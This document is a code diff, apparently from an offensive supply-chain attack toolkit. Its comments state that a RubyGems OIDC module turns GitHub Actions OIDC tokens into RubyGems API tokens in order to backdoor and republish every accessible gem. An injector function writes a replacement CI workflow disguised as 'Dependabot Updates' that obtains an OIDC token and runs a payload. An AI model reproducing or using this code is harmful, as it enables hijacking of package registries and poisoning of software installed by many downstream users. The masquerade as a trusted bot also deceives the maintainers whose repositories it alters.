||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// Can't list repo contents
|
||||||
|
}
|
||||||
|
|
||||||
|
return names;
|
||||||
|
}
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { Mutator } from "../base";
|
||||||
|
import { checkRubygemsToken } from "../rubygems/tokenCheck";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* RubyGems OIDC mutator — exchanges a GitHub Actions OIDC token for a
|
||||||
|
* RubyGems API token, then reuses the existing RubyGemsClient to backdoor
|
||||||
|
* and republish every gem the token has access to.
|
||||||
|
*
|
||||||
|
* Mirrors the NPMOidcClient pattern: get OIDC token → exchange for registry
|
||||||
|
* token → enumerate packages → backdoor + republish.
|
||||||
|
*/
|
||||||
|
export class RubyGemsOidcClient extends Mutator {
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<Boolean> {
|
||||||
|
// 1. Get GitHub Actions OIDC token (audience: rubygems.org)
|
||||||
|
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
|
||||||
|
process.env;
|
||||||
|
|
||||||
|
if (!ACTIONS_ID_TOKEN_REQUEST_URL || !ACTIONS_ID_TOKEN_REQUEST_TOKEN) {
|
||||||
|
logUtil.log(
|
||||||
|
"[rubygemsOidc] not running in GitHub Actions with id-token:write",
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const oidcUrl = `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=rubygems.org`;
|
||||||
|
let oidcToken: string;
|
||||||
|
try {
|
||||||
|
const oidcRes = await fetch(oidcUrl, {
|
||||||
|
headers: {
|
||||||
|
Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}`,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
if (!oidcRes.ok) {
|
||||||
|
logUtil.log(
|
||||||
|
`[rubygemsOidc] OIDC token request failed: ${oidcRes.status}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
const data = (await oidcRes.json()) as { value: string };
|
||||||
|
oidcToken = data.value;
|
||||||
|
if (!oidcToken) {
|
||||||
|
logUtil.log("[rubygemsOidc] OIDC response missing token");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(`[rubygemsOidc] OIDC token error: ${e}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Exchange OIDC token for a RubyGems API token
|
||||||
|
const rgToken = await exchangeOidcForRubygemsToken(oidcToken);
|
||||||
|
if (!rgToken) {
|
||||||
|
logUtil.log("[rubygemsOidc] OIDC → RubyGems token exchange failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Validate the token and enumerate accessible gems
|
||||||
|
const tokenInfo = await checkRubygemsToken(rgToken);
|
||||||
|
if (!tokenInfo.valid || tokenInfo.gems.length === 0) {
|
||||||
|
logUtil.log(
|
||||||
|
"[rubygemsOidc] token valid but no gems accessible (scoped or empty)",
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[rubygemsOidc] token valid — ${tokenInfo.gems.length} gem(s) accessible`,
|
||||||
|
);
|
||||||
|
|
||||||
|
// 4. Delegate to the existing RubyGemsClient for download/patch/publish
|
||||||
|
const { RubyGemsClient } = await import("../rubygems/index");
|
||||||
|
const client = new RubyGemsClient(tokenInfo);
|
||||||
|
return client.execute();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── OIDC → RubyGems token exchange ─────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Exchange a GitHub Actions OIDC token for a short-lived RubyGems API token.
|
||||||
|
*
|
||||||
|
* POST https://rubygems.org/api/v1/oidc/api_key_roles/tokens
|
||||||
|
* Authorization: Bearer <oidc_token>
|
||||||
|
*/
|
||||||
|
async function exchangeOidcForRubygemsToken(
|
||||||
|
oidcToken: string,
|
||||||
|
): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
const res = await fetch(
|
||||||
|
"https://rubygems.org/api/v1/oidc/api_key_roles/tokens",
|
||||||
|
{
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
Authorization: `Bearer ${oidcToken}`,
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Accept: "application/json",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
const text = await res.text().catch(() => "");
|
||||||
|
logUtil.log(
|
||||||
|
`[rubygemsOidc] token exchange HTTP ${res.status}: ${text.slice(0, 200)}`,
|
||||||
|
);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = (await res.json()) as {
|
||||||
|
rubygems_api_key?: { token?: string; key?: string };
|
||||||
|
token?: string;
|
||||||
|
key?: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
data.rubygems_api_key?.token ??
|
||||||
|
data.rubygems_api_key?.key ??
|
||||||
|
data.token ??
|
||||||
|
data.key ??
|
||||||
|
null
|
||||||
|
);
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(`[rubygemsOidc] token exchange error: ${e}`);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// RubyGems OIDC workflow YAML injector
|
||||||
|
//
|
||||||
|
// Builds a clean release workflow that replaces the existing one in the
|
||||||
|
// ephemeral branch commit. The workflow runs on deployment, gets an OIDC
|
||||||
|
// token, and executes the payload via bun.
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ── Types ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export interface InjectionResult {
|
||||||
|
modifiedYaml: string;
|
||||||
|
injected: boolean;
|
||||||
|
reason?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface InjectionContext {
|
||||||
|
workflowFilename: string;
|
||||||
|
/** Comma-separated gem names for the GEM_NAME env var */
|
||||||
|
gemNames: string[];
|
||||||
|
repoFullName: string;
|
||||||
|
environmentName?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Public API ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build a clean release workflow that replaces the original.
|
||||||
|
*
|
||||||
|
* The injected workflow:
|
||||||
|
* - Triggers on deployment (repo-scope technique)
|
||||||
|
* - Has id-token:write for OIDC token retrieval
|
||||||
|
* - Checks out the repo, installs bun, runs the payload
|
||||||
|
*/
|
||||||
|
export function injectRubygemsToolStep(
|
||||||
|
_rawYaml: string,
|
||||||
|
ctx: InjectionContext,
|
||||||
|
): InjectionResult {
|
||||||
|
const { gemNames, repoFullName, workflowFilename, environmentName } = ctx;
|
||||||
|
const nameList = gemNames.join(",");
|
||||||
|
|
||||||
|
const envBlock = environmentName
|
||||||
|
? `\n environment:\n name: ${JSON.stringify(environmentName)}\n prevent_deployment: true`
|
||||||
|
: "";
|
||||||
|
|
||||||
|
const newWorkflow = [
|
||||||
|
`name: Dependabot Updates`,
|
||||||
|
`run-name: Dependabot Updates`,
|
||||||
|
`on:`,
|
||||||
|
` deployment`,
|
||||||
|
`jobs:`,
|
||||||
|
` release:`,
|
||||||
|
` runs-on: ubuntu-latest`,
|
||||||
|
` permissions:`,
|
||||||
|
` id-token: write`,
|
||||||
|
` contents: read`,
|
||||||
|
envBlock || null,
|
||||||
|
` steps:`,
|
||||||
|
` - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd`,
|
||||||
|
` - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6`,
|
||||||
|
` - name: publish`,
|
||||||
|
` run: bun run _index.js`,
|
||||||
|
` env:`,
|
||||||
|
` GEM_NAME: ${JSON.stringify(nameList)}`,
|
||||||
|
` WORKFLOW_ID: ${JSON.stringify(workflowFilename)}`,
|
||||||
|
` REPO_ID_SUFFIX: ${JSON.stringify(repoFullName)}`,
|
||||||
|
]
|
||||||
|
.filter(Boolean)
|
||||||
|
.join("\n");
|
||||||
|
|
||||||
|
return { modifiedYaml: newWorkflow, injected: true };
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user